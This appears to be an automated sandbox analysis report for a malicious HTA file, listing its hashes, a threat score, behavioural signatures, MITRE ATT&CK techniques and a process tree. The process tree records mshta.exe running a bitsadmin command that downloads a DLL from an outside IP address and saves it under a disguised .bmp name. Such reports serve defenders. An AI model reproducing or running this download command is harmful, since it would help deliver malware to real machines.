8da9c49b00cce2bb97d6e77199c90c0d2d60b387f6ff51a06367ded85621f13f

Analysis

max time kernel
146s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
07/02/2023, 10:41

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General

Target
azienda_07.hta
Size 6KB
Sample230207-mq39hsec7x
SHA256 8da9c49b00cce2bb97d6e77199c90c0d2d60b387f6ff51a06367ded85621f13f
MD5 5c13d66828fff24146f9f42b990c05da
SHA1 e9f0ae44ef634b4701127c84ce607e4536cfc677
SHA512 5605e3a41393fec3049b2647dc3ca203ee8a9ed03fdb5cccb4098c3431b5cc5cc1adc7aae2e26b5bae951e6838eb3a33af991243905d2e6b505c6e1e1d0a6837
SSDEEP 96:wjVBxgLVTUoPg2pwTEeD4b7KdaO3iOaLt3M8Mn3XTPMJsb0ODcFE+Voq3V4dh96A:AsU77rIKdn863jMM0OD9+VVF4nx4kuE
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 5 IoCs

flow	pid	Process
5	4680	mshta.exe
7	4680	mshta.exe
10	4680	mshta.exe
13	4680	mshta.exe
15	4680	mshta.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
632	bitsadmin.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 4680 wrote to memory of 632	4680	mshta.exe	83
PID 4680 wrote to memory of 632	4680	mshta.exe	83
PID 4680 wrote to memory of 632	4680	mshta.exe	83

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\azienda_07.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4680
- C:\Windows\SysWOW64\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://62.173.147.2/azienda.dll C:\Windows\\System32\\LogFiles\\\login.bmp
  2⤵
  - Download via BitsAdmin
  PID:632

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads